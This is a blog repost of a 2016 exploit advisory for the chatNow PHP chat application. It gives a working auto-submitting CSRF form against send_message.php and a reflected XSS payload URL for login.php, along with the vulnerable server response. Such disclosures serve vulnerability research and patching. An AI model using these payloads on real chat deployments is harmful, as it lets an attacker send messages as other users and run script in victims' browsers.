Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86379032

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: chatNow - Multiple Vulnerabilities
# Date: 2016-08-23
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: http://chatnow.thiagosf.net/
# Software Link: https://github.com/thiagosf/chatNow/archive/master.zip
# Version: Latest commit
# Tested on: Debian [wheezy]

1. CSRF(Send MSG)
2. Reflected XSS

========== CSRF VULNERABILITY
### Vulnerability
'send_message.php' is not check the csrf token or referer header.
It is possible CSRF Attack.

### Attack Code
<form name="csrf_poc" action="http://127.0.0.1/vul_test/chatNow/send_message.php" method="POST">
<input type="hidden" name="to_user" value="0">
<input type="hidden" name="scroll_page" value="on">
<input type="hidden" name="id_user" value="2">
<input type="hidden" name="message" value="CSRF">
<input type="hidden" name="reserved" value="false">

<input type="submit" value="Attack!">
</form>

<script type="text/javascript">document.forms.csrf_poc.submit();</script>


========== XSS VULNERABILITY
### Vulnerability
This page url is reflected data on page
It is vulnerable page because not filtered reflected url
		
### Attack code
http://127.0.0.1/vul_test/chatNow/login.php/95fb4"><script>alert(45)</script>b5ca1

### Response
<div id="box_login">
		<h2>chatNow</h2>
	<form action="/vul_test/chatNow/login.php/95fb4"><script>alert(45)</script>b5ca1" method="post">
		<div class="block_field">
			<label for="user">Nick</label>
			<input type="text" name="user" id="user" maxlength="20" /> 
		</div>